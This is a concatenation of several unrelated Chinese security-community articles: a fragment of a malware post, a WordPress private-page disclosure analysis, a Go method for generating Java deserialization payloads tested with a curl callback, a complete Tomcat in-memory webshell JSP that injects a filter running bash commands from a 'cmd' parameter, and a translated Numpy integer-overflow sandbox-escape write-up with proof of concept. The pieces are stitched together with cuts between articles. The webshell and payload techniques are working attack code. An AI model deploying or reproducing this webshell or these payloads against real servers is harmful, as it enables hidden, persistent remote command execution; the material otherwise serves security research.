大家可以从[这里](http://www.gironsec.com/blog/wp-content/uploads/2018/03/blog.7z)下载本文用到的所有代码，密码为`infected`。
感谢大家百忙中阅读此文，我还有许多事情要去处理，比如我需要编写64位版本的metasploit模块，需要重写crypter（被误报为“wannacry”），还需要深入学习IOT设备以及网络摄像头方面知识。对了，前面我们留下了一个坑：TLS回调函数，后面我会解决这个问题。
希望大家有个愉快的黑客之旅。 | 社区文章 |
## 写在前面
WordPress在5.2.3以及之前版本，存在着一处未授权页面查看漏洞，攻击者可以在未授权的情况下，查看所有私密页面或是已经删除至回收站的页面
这个漏洞，请注意我的描述用词，是私密页面查看，而非私密文章查看，这点很关键，在wordpress中，POST指的是文章，Page指的是页面，这两个不是同一个概念，如下图
页面：
用户可以单独建立一个固定页面，可以作为留言板，或者通知的单页面，发布之后是固定的网址。页面并不能被分类、亦不能拥有标签，但是它们可以有层级关系。可将页面附属在另一个页面之下
文章：
文章可以通过标签实现相关文章的链接，可以放评论和评论框来实现与用户的互动，页面没有。文章有栏目可以归档，还有标签，页面没有。编辑文章时可选不同的形式，页面没有。
利用这个漏洞，攻击者并不能查看未发布的文章，只能有一定几率查看私密或已以至回收站的页面
## 漏洞分析
我们将自上而下，从wordpress入口到漏洞触发点，来分析该漏洞
首先来看位于\wp-includes\class-wp.php 中的WP类，该类为WordPress环境设置类
在WP类中，存在\$public_query_vars数组，该数组用来定义公共查询变量，如下图
在WP类中，存在main方法，该方法用来设置WordPress环境所需的所有变量，如下图
Wordpress启动时，会调用WP类中的main方法，进行环境遍历赋值，位于上图main方法737行处，可见调用parse_request方法
parse_request方法的作用是，解析请求(GET/POST)以找到正确的WordPress查询，根据请求设置查询变量。如下图
该方法中存在一处foreach循环，遍历WP类中定义的\$public_query_vars数组值，如下图
该处循环的作用，是寻找\$public_query_vars数组中的值，是否存在于GET/POST请求的参数中，如过在请求的参数中找到，就将其参数键与值赋值到WP环境变量中去，\$public_query_vars数组见上文
例如有如下payload请求
[http://127.0.0.1/wordpress/?static=0&order=asc&kumamon=test](http://127.0.0.1/wordpress/?static=0&order=asc&kumamon=test)
\$public_query_vars数组中存在”order”与” static”
而GET请求的参数中也存在这两个参数，于是程序会将GET中order与static的值赋值给\$this->query_vars[‘order’]与\$this->query_vars[‘static]，如下图
\$public_query_vars数组中并无”kumamon”，因此GET请求中的kumamon变量不做处理
Wordpress的环境变量机制了解完毕后，接下来看下漏洞触发点
首先来看下
\wp-includes\class-wp-query.php中的parse_query方法
该方法也是在wordpress启动时入口处被一系列的调用加载进来的,执行顺序位于parse_request方法之后，也就是环境变量赋值之后
我们重点关注下\$qv变量，如下图红框处
该变量为\$this->query_vars引用而来的，而\$this->query_vars则是\$this->query_vars经过fill_query_vars方法处理之后的值
当我们的请求为[http://127.0.0.1/wordpress/?static=0&order=asc](http://127.0.0.1/wordpress/?static=0&order=asc)
\$this->query_vars值如下，该值由parse_request方法得来
而fill_query_vars方法，是将其他并未从请求中传递与赋值的环境变量用空值赋值
我们这里仅仅通过请求赋值了static与order两个环境变量，因此\$this->query_vars值如下
\$qv为\$this->query_vars引用，因此其中值与上图一致
接下来，位于805行处，有如下if-else条件
由于我们通过GET请求传入static变量，已经将\$qv[‘static’]赋值为0，因此可以进入上图条件分支，使得\$this->is_page=true,
\$this->is_single=false
还记得之前所说，Page指的是页面吗？因此上文的这个if条件，是为了通过检查请求中是否有'static'、'pagename'、'page_id'值，来判断是否要进行页面(Page)处理，如果是，则将\$this->is_page设置为true
继续向下看，位于3043行处，存在如下if条件分支
此时\$this->is_page=true, \$this->is_single=false，所以if中(
\$this->is_single || \$this->is_page )处的值为true。
只要使得\$this->posts不为空，则可以进入此处if分支
\$this->posts值为如下sql语句的查询值
这里解释下，为什么sql语句WHERE中wp_posts.post_type = 'page' 且ORDER BY
wp_posts.post_date ASC
首先看下wp_posts.post_type = 'page'
由于上文设置了\$this->is_page=true，因此进入如下条件分支
此处设置了查询条件为wp_posts.post_type =
'page'。显然，\$this->is_page=true，是要在库中查找page类型的发布
ORDER BY wp_posts.post_date
ASC的原因是由于我们GET请求中传入的order参数为ASC，其order为环境变量，在这里被直接拿来拼接sql语句了
在了解了wordpress此时的查询语句，我们对照后台数据库中wp_posts表的内容分析下
wp_posts表中存储了wordpress所有发布的内容，并同过post_type对其进行类型区分
Post_type 为post的，代表其为文章(POST)；而page，代表这是一个页面
因此我们的\$this->is_page=true，使得程序从该中查询所有page类型的发布内容，也就是说，把所有的页面都提取出来了
注意这里：这条查询，把所有的page都查询出来，不管其状态是发布(publish)或是private(私密)甚至是回收站(trash)。并且通过发布时间升序排列，至于需要设置升序排列的原因，后文会介绍。
继续回到漏洞点
此时我们已经搞清楚\$this->posts是什么了，如上文所说，\$this->posts存放着从wp_posts表中取出的所有页面(Page)，并且通过时间顺序升序排列
这时候\$this->post[0]即为存放在数据库中最早发布的那篇页面(Page)，由于我的示范页面没有删，所以这里的\$this->post[0]就是那篇示范页面
而\$this->post[2]就是我们的私密的页面，如下图，可见post_status为private
为什么要用ASC将我们最早发布的页面放在\$this->post[0]位置呢？原因如下
程序会检查\$this->post[0]的发布状态，如上图前两个红框，并判断\$this->post[0]的发布状态是否是public，若\$this->post[0]的发布状态不为public，则接下来进行登陆与身份验证
因此通过ASC升序排列，尽可能的把最早发布的页面排在\$this->post[0]，这个\$this->post[0]大概率是wordpress示例页面或者是网站自行添加的说明页面，其状态大概率是public，因此通过这个技巧绕过了后续登陆校验的环节，直接把所有页面显示出来
我们新建一个私密测试页面，如下图
建立一个回收站页面测试，并把它丢到回收站，如下图
通过我们的payload，可见私密以及回收站的Page都可被查看
若我们没有设置order=asc，则\$this->post[0]为我最后丢掉回收站里的Page(默认是用发布时间降序排序，而丢到回收站的那篇是我测试时最后新建的),它的状态是trash而非public，因此wordpress触发登陆校验，如下图
## 漏洞修复
漏洞修复其实很容易理解：
开发者把\$public_query_vars数组中的static给删了，这样就算请求中传入static的值，也会被忽略，记得上文[http://127.0.0.1/wordpress/?static=0&order=asc&kumamon=test](http://127.0.0.1/wordpress/?static=0&order=asc&kumamon=test)
中的kumamon参数吗？
其次，开发者把’’
!=\$qv[‘static’]这个条件也删除了，这样的话，只能通过pagename或者page_id查询单条page了，然而单条page在显示时，是需要验证其状态的，非public的单条page是不予显示的 | 社区文章 |
# 二进制角度构造Java反序列化Payload
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
最近用Go编写Java反序列化相关的扫描器，遇到一个难点：如何拿到根据命令生成的payload
通过阅读已有开源工具的源码，发现大致有以下两种解决方案
### 执行命令法
使用命令执行ysoserial.jar，例如一些python工具用system，popen等函数，拼接命令拿到输出
* 优点：最简单的实现，快速上手
* 缺点：ysoserial.jar过大，并且依赖java环境，并不是很方便
### 直接用Java编写
很多工具直接采用Java编写，生成payload的部分可以脱离ysoserial.jar，结合反射和Javaassist技术做进一步的处理
* 优点：用Java来生成Java的payload是最标准的
* 缺点：必须由Java编写的工具才可以
### 二进制角度构造
反序列化数据本身是有结构的，比如多次生成CC1的payload可以看到只有命令和命令前两字节有变化。前面两字节表示了命令的长度，所以我们直接拼接一下即可实现CC1
（图中0008表示命令长度，calc.exe是命令）
其实更多的Payload并不是像CC1这么简单，比如构造`TemplateImpl`，过程较复杂
## 预备
笔者在ysoserial的`PayloadRunner`里写代码导出，并且打印一下HEX，方便比较
private static final char[] hexCode = "0123456789ABCDEF".toCharArray();
public static String printHexBinary(byte[] data) {
StringBuilder r = new StringBuilder(data.length * 2);
for (byte b : data) {
r.append(hexCode[(b >> 4) & 0xF]);
r.append(hexCode[(b & 0xF)]);
}
return r.toString();
}
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
......
FileOutputStream fos = new FileOutputStream("cc2.bin");
fos.write(ser);
System.out.println(printHexBinary(ser));
......
## 分析过程
分析生成的cc2.bin需要用xxd命令：`xxd cc2.bin`
第一处关键点：
`0000 069c`表示后面`cafe
babe`开头的class文件长度，以此可以确定payload固定的开头部分。开头部分命名为`globalPrefix`，四字节的长度变量命名为`dataLen`
（如何确认到这里：肉眼审计，排除看上去是常量或系统函数的地方）
00000340: 6767 db37 0200 0078 7000 0000 0275 7200 gg.7...xp....ur.
00000350: 025b 42ac f317 f806 0854 e002 0000 7870 .[B......T....xp
00000360: 0000 069c cafe babe 0000 0032 0039 0a00 ...........2.9..
00000370: 0300 2207 0037 0700 2507 0026 0100 1073 .."..7..%..&...s
以此为根据找到class文件结束位置`0x0364+0x069c=0x0a00`，从`0x364-0x0a00`这一部分都是构造`templatesImpl`的二进制，观察到`7571007e`以后的部分都是常量，以此确认结尾部分是`7571007e`往后至结尾，命名为`globalSuffix`
000009f0: 0011 0000 000a 0001 0002 0023 0010 0009 ...........#....
00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000 uq.~............
00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807 .2..............
00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369 .....serialVersi
继续从一开始的`cafe babe`审计至`00000800:
000863616c632e657865`，`0008`表示长度为8的命令`calc.exe`，以此确认从`cafe
babe`开始的class文件的开头部分，命名为`prefix`
000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c time...()Ljava/l
000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00 ang/Runtime;..,.
00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578 -..+.....calc.ex
00000810: 6508 0030 0100 0465 7865 6301 0027 284c e..0...exec..'(L
因此从`0x0364-0x0806`为常量：`cafebabe...2b002e01`
随后插入2字节的命令长度和命令本身，可以动态构造，分别命名为`cmdLen`和`cmd`
审计至`0x0870`，发现`0x0871-0x087e`和`0x892-0x089f`是两个相同的数字，长度14。经过多个操作系统的比较，发现这个数字可以是14，15，16。这个数字来源是系统时间，作用只是一个随机ID。所以我们可以生成随机的数字，随机数命名为`randNum`
在命令和随机数之间还有一部分多余的数据，我们将它命名为`beforeRand`
中间拼接的部分是`0x087f-0x0891`，也就是`01001f4c79736f73657269616c2f50776e6572`，分割符命名为`split`（其实ysoserial/Pwner这个字符串也是可以随机的，但没必要再做）
00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501 ..StackMapTable.
00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65 ..ysoserial/Pwne
00000870: 7237 3833 3834 3833 3035 3434 3731 3601 r78384830544716.
00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e ..Lysoserial/Pwn
00000890: 6572 3738 3338 3438 3330 3534 3437 3136 er78384830544716
000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00 ;.!.............
000008b0: 0500 0600 0100 0700 0000 0200 0800 0400 ................
最后确认class文件的结尾部分，从`0x08a0-0x09ff`，固定格式`3b002100...00100009`，命名为`suffix`，至此可以成功构造出`templatesImpl`
3B002100020003000100040001001A000500060001000700000002000800040001000A000B000100
0C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C
000100000005000F003800000001001300140002000C0000003F0000000300000001B10000000200
0D00000006000100000034000E00000020000300000001000F003800000000000100150016000100
0000010017001800020019000000040001001A00010013001B0002000C0000004900000004000000
01B100000002000D00000006000100000038000E0000002A000400000001000F0038000000000001
00150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029
000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B100000001003600
0000030001030002002000000002002100110000000A00010002002300100009
## 实现
通过上文中的命名，可以得出一个简化后的实现函数
func GetCommonsCollections2(cmd string) []byte {
......
// dataLen取决于TemplateImpl的大小
// 在TemplateImpl中构造命令
// 其他都是常量
templateImpl := GetTemplateImpl(cmd)
dataLen := calcTemplateImpl(templateImpl)
......
return globalPrefix + dataLen + templateImpl + globalSuffix
}
func GetTemplateImpl(cmd string) []byte {
......
// cmd由用户输入
// cmdLen可以计算得出
// randNum可以随机出
// 其他都是常量
cmdLen := caclCmdLen(cmd)
randNum := getRandNum(cmd)
......
return prefix + cmdLen + cmd + beforeRand + randNum + split + randNum + suffix
}
## 测试
按照思路生成好之后，测试时先用ysoserial生成数据，xxd命令阅读得到随机数，把变量randNum替换
然后生成Payload进行判断，笔者调试过程遇到不少的坑，比如randNum忘记做`hex.encode`了
而其中`cmdLen`和`dataLen`变量其实是无法一眼看出的，笔者能够确认是因为跑了多次ysoserial，对比分析得出的结果
## 实践
笔者在github提交了比较完整的一个库：<https://github.com/EmYiQing/Gososerial>
该库支持了CC1-CC7,CCK1-CCK4,CB1这些链，并且经过了验证没有问题，可以做到ysoserial的效果
初步确定生成的payload没问题，进一步确认需要靶机
这里用了vulhub的shiro550反序列化靶机，用curl命令结合ceye平台，成功触发
（下图为笔者用golang编写的shiro检测小工具，调用了gososerial的函数，成功执行）
randStr = tool.GetRandomLetter(20)
payload = gososerial.GetCC5("curl " + ceyeInfo.Identifier + "/" + randStr)
log.Info("check %s", gadget.CC5)
SendPayload(key, payload, target)
if checkCeyeResp(ceyeInfo, randStr) {
log.Info("payload %s success", gadget.CC5)
}
## 总结
整个过程不难，但需要耐心和眼力
其他的反序列化链换汤不换药，甚至`TomcatEcho`也是类似的原理
因此安全开发者可以在不使用ysoserial的情况下，直接动态生成payload
另外文中这种半猜半测试的实现方式不妥，有兴趣的大佬可以参考java底层反序列化的实现，对二进制数据做进一步的分析和构造
（p师傅好像正在做这件事） | 社区文章 |
作者：[n1nty@360 A-Team](http://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
"n1nty@360 A-Team")
抱着隐藏 shell 的目的去调试的 tomcat 的代码。我调试了tomcat 从接收到一个socket 到解析socket 并封装成Request
转发至 Jsp/Servlet 的全过程，找到了两个较为容易实现的方法（肯定还有其它的方法），这里记录一其中一个。另一个也很类似所以只记录一下思路。
#### 1\. 运行时动态插入过滤器
过滤器的基础概念以及作用这里不写了。
Servlet 规范（应该是从3.0 开始）里面本身规定了一个名为ServletContext 的接口，其中有三个重载方法：
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter>
filterClass)
这三个方法使得我们可以在运行时动态地添加过滤器。
Tomcat 对 ServletContext
接口的实现类为：org.apache.catalina.core.ApplicationContextFacade
但是并没有简单到直接调用一下这可以实现，因为 Tomcat
在对这个接口的实现中，是只允许在容器还没有初始化完成的时候调用这几个方法。一旦容器初始化已经结束，调用时就会出现异常：
我看了一下这个 if
之后的语句，并不是太复杂，这使得我们完全可以自己用代码来执行后面的逻辑。写的过程也没有太顺利，我完全复制了后面的逻辑，但是动态插入过滤器却没有生效。所以去重新调试了一遍tomcat
接收处理请求的全过程，发现为请求组装filterChain 是在 StandardWrapperValve 里面进行的：
真正的组装方法位于：
`org.apache.catalina.core.ApplicationFilterFactory#createFilterChain`
代码太长不截图了，有兴趣的可以自己去看。
组装完成后开始调用过滤器链。
我将org.apache.catalina.core.ApplicationFilterFactory#createFilterChain方法内的细节与自己写的插入过滤器的细节做了对比，得出下面这个可以在Tomcat
8 （Tomcat 7 上的话需要小改一下）下实现我想要的目的 Jsp文件。直接看代码吧：
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.IOException"%>
<%@ page import="javax.servlet.DispatcherType"%>
<%@ page import="javax.servlet.Filter"%>
<%@ page import="javax.servlet.FilterChain"%>
<%@ page import="javax.servlet.FilterConfig"%>
<%@ page import="javax.servlet.FilterRegistration"%>
<%@ page import="javax.servlet.ServletContext"%>
<%@ page import="javax.servlet.ServletException"%>
<%@ page import="javax.servlet.ServletRequest"%>
<%@ page import="javax.servlet.ServletResponse"%>
<%@ page import="javax.servlet.annotation.WebServlet"%>
<%@ page import="javax.servlet.http.HttpServlet"%>
<%@ page import="javax.servlet.http.HttpServletRequest"%>
<%@ page import="javax.servlet.http.HttpServletResponse"%>
<%@ page import="org.apache.catalina.core.ApplicationContext"%>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig"%>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.tomcat.util.descriptor.web.*"%>
<%@ page import="org.apache.catalina.Context"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.EnumSet"%>
<%@ page import="java.util.Map"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Insert title here</title>
</head>
<body>
<%
final String name = "n1ntyfilter";
ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);
f = standardCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map)f.get(standardCtx);
if (filterConfigs.get(name) == null) {
out.println("inject "+ name);
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
filterConfigs.put(name, filterConfig);
out.println("injected");
}
%>
</body>
</html>
将以上 JSP 文件上传至目标服务器命名为 n1ntyfilter.jsp，访问后如果看到“injected”
字样，说明我们的过滤器已经插入成功，随后可以将此 jsp 文件删掉。随后，任何带有 cmd 参数的请求都会被此过滤器拦下来，并执行 shell
命令，达到“看不见的 shell”的效果。
#### 2\. 动态插入 Valve
Valve 是 Tomcat 中的用于对Container
组件（Engine/Host/Context/Wrapper）进行扩展一种机制。通常是多个Valve组装在一起放在Pipeline 里面。Tomcat 中
Container 类型的组件之间的上下级调用基本上都是通过pipeline 与 valve 完成的。如果你熟悉 Struts2
中的拦截器机制，那么你会很容易理解valve + pipeline 的动作方式。Pipeline 就相当于拦截器链，而valve就相当于拦截器。
Valve 接口定义了如下的 invoke 方法：
publicvoid invoke(Request request, Response response)
throws IOException, ServletException;
我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的pipeline
中插入一个我们自定义的 valve，在其中对相应的请求进行拦截并执行我们想要的功能，就可以达到与上面Filter 的方式一样的效果。而且 filter
只对当前context 生效，而valve 如果插到最顶层的container 也就是 Engine，则会对 Engine 下的所有的context 生效。
以上两种方式，利用的时候都必须是通过 HTTP
的方式去真正地发起一个请求，因为在这些流程之前，Tomcat会检查接收自socket的前几个字节是不是符合HTTP
协议的要求，虽然被请求的文件可以不存在。如果想利用非HTTP 协议，则需要在tomcat 的Connector
上做手脚，这个复杂度就比以上两种方式要高很多了。
以上两种方式都会在 Tomcat 重启后失效。
* * *
**欢迎关注作者公众号**
* * * | 社区文章 |
# 【技术分享】利用内存破坏漏洞实现 Python 沙盒逃逸
|
##### 译文声明
本文是翻译文章，文章来源：hackernoon.com
原文地址：<https://hackernoon.com/python-sandbox-escape-via-a-memory-corruption-bug-19dde4d5fea5?gi=90438c9b4429>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[beswing](http://bobao.360.cn/member/contribute?uid=820455891)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
索性跳过了文作者的自述，我们直接进入到技术细节吧~
Python环境使用自定义白名单/黑名单方案来阻止访问危险的内置函数，模块，函数等。基于操作系统的隔离提供了一些额外的保护（虽然可能有些过时）。
打破锁定的Python解释器不是一个100％的胜利，但它使攻击者能够威胁到操作系统本身。
作者，是这么认为的，Python模块通常是包装后的C代码，那么我们是否能发现内存被恶意篡改或者利用内存破坏的漏洞来实现Python沙盒的逃逸？
那么，我们该从哪入手。 我知道在Python]沙箱中只能import白名单中的Python模块。 也许我应该运行一个分布式的AFL fuzzer网络？
还是一个符号执行引擎？ 或者也许我应该用最先进的静态分析工具扫描它们？ 当然，我可以做任何这些事情。
或者我可以跟踪一些曾经出现的bug，来查询是否有仍有可利用的存在。
在作者通过手动代码的审查和测试中，发现了一个Pyhon沙盒白名单的模块的一个可以用的内存破坏漏洞。这个bug，存在于Numpy模块。这是一个一个用python实现的科学计算包。包括：1、一个强大的N维数组对象Array；2、比较成熟的（广播）函数库；3、用于整合C/C++和Fortran代码的工具包；4、实用的线性代数、傅里叶变换和随机数生成函数。numpy和稀疏矩阵运算包scipy配合使用更加方便。
NumPy（Numeric
Python）提供了许多高级的数值编程工具，如：矩阵数据类型、矢量处理，以及精密的运算库。专为进行严格的数字处理而产生。多为很多大型金融公司使用，以及核心的科学计算组织如：Lawrence
Livermore，NASA用其处理一些本来使用C++，Fortran或Matlab等所做的任务。
如果要从Numpy作为入手，那么我先来分析源码，首先作者查看了代码的行数：
$ cloc * 520 text files. 516 unique files. 43 files ignored.http://cloc.sourceforge.net v 1.60 T=2.42 s (196.7 files/s, 193345.0 lines/s) — — — — — — — — — — — — — — — — — — — —Language files blank comment code — — — — — — — — — — — — — — — — — — — — C 68 36146 70025 170992Python 311 27718 57961 87081C/C++ Header 82 1778 2887 7847Cython 1 947 2556 1627Fortran 90 10 52 12 136Fortran 77 3 2 1 83make 1 15 19 62 — — — — — — — — — — — — — — — — — — — — SUM: 476 66658 133461 267828
近20万行的C代码。而且这里存在一些bug。在这篇文章的其余部分，我首先描述导致这个漏洞的条件。
接下来，我讨论一些使用开发人员应该意识到的CPython运行时的行为，然后我将逐步了解实际的漏洞。
最后，我将思考量化在Python应用程序中的内存损坏问题的风险。
**The Vulnerability**
我将要通过的漏洞是Numpy v1.11.0（也许是旧版本）的整数溢出错误。
自v1.12.0以来，该问题已经解决，但没有发布安全咨询。该漏洞驻留在用于调整Numpy的多维数组类对象（ ndarray和friends）的API中。
调用resize调用定义数组形状的元组，其中元组的每个元素都是维的大小。
$ python
>>> import numpy as np
>>> arr = np.ndarray((2, 2), ‘int32’)
>>> arr.resize((2, 3))
>>> arrarray([[-895628408, 32603, -895628408],[ 32603, 0, 0]], dtype=int32)
Sidenote：嗯，数组正在泄漏未初始化的内存，但是我们不会专注于这个post。
在覆盖下，resize实际上的realloc缓冲区，其大小计算为形状元组和元素大小中每个元素的乘积。 所以在前面的代码片段中，arr.resize((2,
3))归结为C代码realloc(buffer, 2 * 3 * sizeof(int32))。 下一个代码片段是C中resize实现。
NPY_NO_EXPORT PyObject *
PyArray_Resize(PyArrayObject *self, PyArray_Dims *newshape, int refcheck,
NPY_ORDER order)
{
// npy_intp is `long long`
npy_intp* new_dimensions = newshape->ptr;
npy_intp newsize = 1;
int new_nd = newshape->len;
int k;
// NPY_MAX_INTP is MAX_LONGLONG (0x7fffffffffffffff)
npy_intp largest = NPY_MAX_INTP / PyArray_DESCR(self)->elsize;
for(k = 0; k < new_nd; k++) {
newsize *= new_dimensions[k];
if (newsize <= 0 || newsize > largest) {
return PyErr_NoMemory();
}
}
if (newsize == 0) {
sd = PyArray_DESCR(self)->elsize;
}
else {
sd = newsize*PyArray_DESCR(self)->elsize;
}
/* Reallocate space if needed */
new_data = realloc(PyArray_DATA(self), sd);
if (new_data == NULL) {
PyErr_SetString(PyExc_MemoryError,
"cannot allocate memory for array”);
return NULL;
}
((PyArrayObject_fields *)self)->data = new_data;
我们可以在代码段中找到漏洞。 您可以在for循环（第13行）中看到每个维度相乘以产生新的大小。
稍后（第25行），将新大小和元素大小的乘积作为大小传递给保存数组的realloc内存。
在realloc之前有一些关于新大小的验证，但是它不会检查整数溢出，这意味着非常大的维度可能导致分配的大小不足的数组。最终，这给攻击者一个强大的攻击途径：通过从具有overflown大小的数组进行索引来读取或写入任意内存的能力。
我们写一个Poc来验证漏洞：
$ cat poc.py
import numpy as np
arr = np.array('A'*0x100)
arr.resize(0x1000, 0x100000000000001)
print "bytes allocated for entire array: " + hex(arr.nbytes)
print "max # of elemenets for inner array: " + hex(arr[0].size)
print "size of each element in inner array: " + hex(arr[0].itemsize)
arr[0][10000000000]
$ python poc.py
bytes allocated for entire array: 0x100000
max # of elemenets for inner array: 0x100000000000001
size of each element in inner array: 0x100
[1] 2517 segmentation fault (core dumped) python poc.py
$ gdb `which python` core
...
Program terminated with signal SIGSEGV, Segmentation fault.
(gdb) bt
#0 0x00007f20a5b044f0 in PyArray_Scalar (data=0x8174ae95f010, descr=0x7f20a2fb5870,
base=<numpy.ndarray at remote 0x7f20a7870a80>) at numpy/core/src/multiarray/scalarapi.c:651
#1 0x00007f20a5add45c in array_subscript (self=0x7f20a7870a80, op=<optimized out>)
at numpy/core/src/multiarray/mapping.c:1619
#2 0x00000000004ca345 in PyEval_EvalFrameEx () at ../Python/ceval.c:1539…
(gdb) x/i $pc
=> 0x7f20a5b044f0 <PyArray_Scalar+480>: cmpb $0x0,(%rcx)
(gdb) x/g $rcx
0x8174ae95f10f: Cannot access memory at address 0x8174ae95f10f
CPython运行时的quirks
在编写漏洞的利用脚本之前。想讨论一些CPython运行时可以轻松利用漏洞的方法，同时也讨论了如何使漏洞利用开发人员受挫。
如果您想直接进入漏洞利用，请随意跳过本节。
**泄漏内存地址**
通常情况下，首要苦难之一就是绕过地址空间布局随机化（ASLR）。 幸运的是，对于攻击者来说，Python使得这很容易。
内置的id函数返回对象的内存地址，或者更准确地说，封装对象的PyObject结构的地址。
$ gdb -q — arg /usr/bin/python2.7 (gdb) run -i
…
>>> a = ‘A’*0x100
>>> b = ‘B’*0x100000
>>> import numpy as np
>>> c = np.ndarray((10, 10))
>>> hex(id(a))
‘0x7ffff7f65848’
>>> hex(id(b))
‘0xa52cd0’
>>> hex(id(c))
‘0x7ffff7e777b0’
实际上在应用程序中，开发人员应确保不向用户公开id(object) 。 在沙盒化的环境中，除了可以将列表id或重新实现id以返回哈希之外，还可以做很多事情。
**了解内存分配行为**
了解您的分配器对于编写漏洞利用脚本至关重要。 Python具有基于对象类型和大小的不同分配策略。
我们来看看我们的大字符串0xa52cd0，小字符串0x7ffff7f65848和numpy数组0x7ffff7e777b0。
$ cat /proc/`pgrep python`/maps
00400000–006ea000 r-xp 00000000 08:01 2712 /usr/bin/python2.7
008e9000–008eb000 r — p 002e9000 08:01 2712 /usr/bin/python2.7
008eb000–00962000 rw-p 002eb000 08:01 2712 /usr/bin/python2.7
00962000–00fa8000 rw-p 00000000 00:00 0 [heap] # big string
...
7ffff7e1d000–7ffff7edd000 rw-p 00000000 00:00 0 # numpy array
...
7ffff7f0e000–7ffff7fd3000 rw-p 00000000 00:00 0 # small string
字符串在常规堆中。 小字符串和numpy数组位于单独的mmap区域中。
**Python对象结构**
泄漏和破坏Python对象元数据可能相当强大，因此了解Python对象的表示方式很有用。 在封面下，Python对象都派生自PyObject
，这是一个包含引用计数和对象实际类型描述符的结构。 值得注意的是，类型描述符包含许多字段，包括可能对读取或覆盖有用的函数指针。
我们先检查我们在前一节中创建的小字符串。
(gdb) print *(PyObject *)0x7ffff7f65848
$2 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>}
(gdb) print *(PyStringObject *)0x7ffff7f65848
$3 = {ob_refcnt = 1, ob_type = 0x9070a0 <PyString_Type>, ob_size = 256, ob_shash = -1, ob_sstate = 0, ob_sval = “A”}
(gdb) x/s ((PyStringObject *)0x7ffff7f65848)->ob_sval
0x7ffff7f6586c: ‘A’ <repeats 200 times>...
(gdb) ptype PyString_Type
type = struct _typeobject {
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
Py_ssize_t ob_size;
const char *tp_name;
Py_ssize_t tp_basicsize;
Py_ssize_t tp_itemsize;
destructor tp_dealloc;
printfunc tp_print;
getattrfunc tp_getattr;
setattrfunc tp_setattr;
cmpfunc tp_compare;
reprfunc tp_repr;
PyNumberMethods *tp_as_number;
PySequenceMethods *tp_as_sequence;
PyMappingMethods *tp_as_mapping;
hashfunc tp_hash;
ternaryfunc tp_call;
reprfunc tp_str;
getattrofunc tp_getattro;
setattrofunc tp_setattro;
PyBufferProcs *tp_as_buffer;
long tp_flags;
const char *tp_doc;
traverseproc tp_traverse;
inquiry tp_clear;
richcmpfunc tp_richcompare;
Py_ssize_t tp_weaklistoffset;
getiterfunc tp_iter;
iternextfunc tp_iternext;
struct PyMethodDef *tp_methods;
struct PyMemberDef *tp_members;
struct PyGetSetDef *tp_getset;
struct _typeobject *tp_base;
PyObject *tp_dict;
descrgetfunc tp_descr_get;
descrsetfunc tp_descr_set;
Py_ssize_t tp_dictoffset;
initproc tp_init;
allocfunc tp_alloc;
newfunc tp_new;
freefunc tp_free;
inquiry tp_is_gc;
PyObject *tp_bases;
PyObject *tp_mro;
PyObject *tp_cache;
PyObject *tp_subclasses;
PyObject *tp_weaklist;
destructor tp_del;
unsigned int tp_version_tag;
}
